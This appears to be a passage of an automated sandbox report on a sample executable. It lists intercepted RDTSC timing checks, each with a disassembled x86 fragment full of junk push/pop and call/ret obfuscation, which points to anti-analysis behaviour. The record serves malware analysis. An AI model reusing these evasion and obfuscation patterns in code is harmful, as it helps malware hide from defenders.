Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD82B5 second address: BD82B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BCD08C second address: BCD0A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BCD0A3 second address: BCD0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD7480 second address: BD74AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A80CCDBA5h 0x00000008 jo 00007F3A80CCDB96h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 je 00007F3A80CCDB96h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDAC50 second address: BDACE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F3A81335210h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ecx 0x00000016 jbe 00007F3A81335208h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jnl 00007F3A81335216h 0x00000027 pop eax 0x00000028 pushad 0x00000029 jmp 00007F3A8133520Bh 0x0000002e mov dword ptr [ebp+122D1DD2h], ecx 0x00000034 popad 0x00000035 lea ebx, dword ptr [ebp+12456A81h] 0x0000003b call 00007F3A81335218h 0x00000040 jp 00007F3A81335206h 0x00000046 pop ecx 0x00000047 mov dh, al 0x00000049 xchg eax, ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c jbe 00007F3A81335208h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDACE2 second address: BDACF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDADE1 second address: BDADE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDADE5 second address: BDADF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDADF0 second address: BDAE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F3A8133520Dh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDAE0E second address: BDAE12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDAE12 second address: BDAE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3A81335206h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BDAE20 second address: BDAE84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jp 00007F3A80CCDB96h 0x00000015 popad 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 jmp 00007F3A80CCDBA2h 0x0000001e popad 0x0000001f popad 0x00000020 pop eax 0x00000021 push ebx 0x00000022 jmp 00007F3A80CCDBA3h 0x00000027 pop ecx 0x00000028 lea ebx, dword ptr [ebp+12456A8Ah] 0x0000002e call 00007F3A80CCDB9Fh 0x00000033 pop esi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jno 00007F3A80CCDB98h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFAD31 second address: BFAD37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF914F second address: BF9165 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007F3A80CCDB96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F3A80CCDB96h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9165 second address: BF9169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9169 second address: BF9174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9562 second address: BF9568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9568 second address: BF956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF956C second address: BF9570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9570 second address: BF9588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3A80CCDBA2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9588 second address: BF959D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF982D second address: BF9831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9831 second address: BF9837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF996F second address: BF9979 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A80CCDB96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9979 second address: BF9983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3A81335206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9983 second address: BF9987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9AFA second address: BF9AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9AFE second address: BF9B06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9DAC second address: BF9DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9F8F second address: BF9FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA7h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF9FAF second address: BF9FB9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A81335220h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFA78A second address: BFA7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3A80CCDBA4h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F3A80CCDB9Ch 0x00000011 jnl 00007F3A80CCDB9Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3A80CCDB9Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFA7BF second address: BFA7C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFA91B second address: BFA920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFCF9F second address: BFCFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BFCFA3 second address: BFCFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3A80CCDBA3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C00742 second address: C00763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335218h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C00763 second address: C00788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3A80CCDBA8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C00788 second address: C0078F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0078F second address: C007B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F3A80CCDBA0h 0x00000011 jnp 00007F3A80CCDB96h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C007B2 second address: C007BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3A81335206h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C008F3 second address: C00919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edx 0x00000009 jmp 00007F3A80CCDBA4h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C069DC second address: C069E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C069E4 second address: C069E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C069E9 second address: C069F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06B70 second address: C06B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06B74 second address: C06B8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Bh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06B8D second address: C06B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06CE1 second address: C06D14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F3A81335218h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3A81335213h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06D14 second address: C06D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06FC2 second address: C06FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3A81335206h 0x0000000a js 00007F3A8133520Ah 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C06FD6 second address: C06FEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A80CCDB9Ah 0x00000009 jmp 00007F3A80CCDB9Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0AD2B second address: C0AD41 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3A8133520Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0B5AB second address: C0B5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0C784 second address: C0C789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0D947 second address: C0D94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0FCF4 second address: C0FCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1061F second address: C106A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov esi, dword ptr [ebp+122D2D7Ch] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F3A80CCDB98h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e or esi, 1318721Fh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007F3A80CCDB98h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 xchg eax, ebx 0x00000051 jmp 00007F3A80CCDB9Eh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F3A80CCDBA6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0FA15 second address: C0FA30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F3A81335214h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0FA30 second address: C0FA34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1102E second address: C1103F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A8133520Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1103F second address: C110AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F3A80CCDB98h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov esi, ecx 0x00000027 push 00000000h 0x00000029 xor esi, dword ptr [ebp+122D2C98h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F3A80CCDB98h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b sub si, 5347h 0x00000050 stc 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jbe 00007F3A80CCDB9Ch 0x0000005a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C14B03 second address: C14B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C14B07 second address: C14B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C118F0 second address: C118F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C12D8B second address: C12D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C118F4 second address: C1190D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007F3A8133520Ch 0x0000000f jnc 00007F3A81335206h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1190D second address: C11911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C11911 second address: C11915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1602A second address: C16030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C16030 second address: C160B5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A81335208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F3A81335208h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jmp 00007F3A81335217h 0x0000002c push 00000000h 0x0000002e jg 00007F3A8133520Eh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F3A81335208h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 xor dword ptr [ebp+12477462h], ebx 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a ja 00007F3A81335206h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C16FF3 second address: C17045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F3A80CCDB96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F3A80CCDB98h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b xor ebx, dword ptr [ebp+122D2C28h] 0x00000031 sub edi, dword ptr [ebp+122D3926h] 0x00000037 push 00000000h 0x00000039 mov edi, dword ptr [ebp+122D25C8h] 0x0000003f push 00000000h 0x00000041 pushad 0x00000042 mov dword ptr [ebp+122DB763h], esi 0x00000048 stc 0x00000049 popad 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C16303 second address: C16309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C17E76 second address: C17EE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D3A6Fh], ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F3A80CCDB98h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f add dword ptr [ebp+122DB70Bh], eax 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122DB777h], esi 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jmp 00007F3A80CCDBA3h 0x00000046 push edx 0x00000047 pop edx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C171ED second address: C171F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C17EE1 second address: C17F08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3A80CCDB9Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C17F08 second address: C17F0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C17F0E second address: C17F13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1A0FB second address: C1A105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3A81335206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C192C3 second address: C192C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
